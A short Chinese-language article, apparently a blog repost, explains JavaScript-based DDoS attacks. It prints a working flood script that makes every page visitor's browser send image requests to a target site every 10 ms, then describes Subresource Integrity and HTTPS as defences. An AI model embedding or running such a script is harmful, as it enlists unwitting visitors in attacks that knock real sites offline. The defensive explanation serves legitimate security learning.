下面的脚本(略有修改)就会向受害网站发送大量的请求:
function imgflood() {
var TARGET = 'example.com'
var URI = '/index.php?'
var pic = new Image()
var rand = Math.floor(Math.random() * 1000)
pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)
该脚本会在目标网页上生成一个图片按钮,图片按钮会指向“example.com” 网站。只要用户访问了含有该脚本的网页,那么他就会成为 “example.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求,于是该攻击又变成了Layer 7 攻击。
如果攻击者在一个网站中嵌入了恶意JavaScript脚本,那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重。
预防:
<script src="https://code.jquery.com/jquery-1.10.2.min.js"> # 在前端代码里加上这个
浏览器会自动下载该.js文件,并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本,浏览器也不会识别。然而如果网站发现了哈希值验证脚本不匹配,子资源完整性(SRI)会告诉浏览器不要运行该脚本。
<script src="https://code.jquery.com/jquery-1.10.2.min.js"
integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg="
crossorigin="anonymous">
建议网站管理员将添加这一标签添加到服务器上,用以保护其用户不被利用。
位于浏览器和服务器间的中间人可以任意修改数据,包括更改HTML内容或者JavaScript脚本。而如果中间人走偏了,做了一些恶意的事情,如向页面中添加恶意JavaScript并执行,那后果一样很严重 (也就是所谓的中间人攻击)。
基于JavaScript的DDOS攻击越来越频发,防御这一攻击的唯一方式是全面启用HTTPS。
参考链接:https://blog.****.net/momo_mutou/article/details/49948437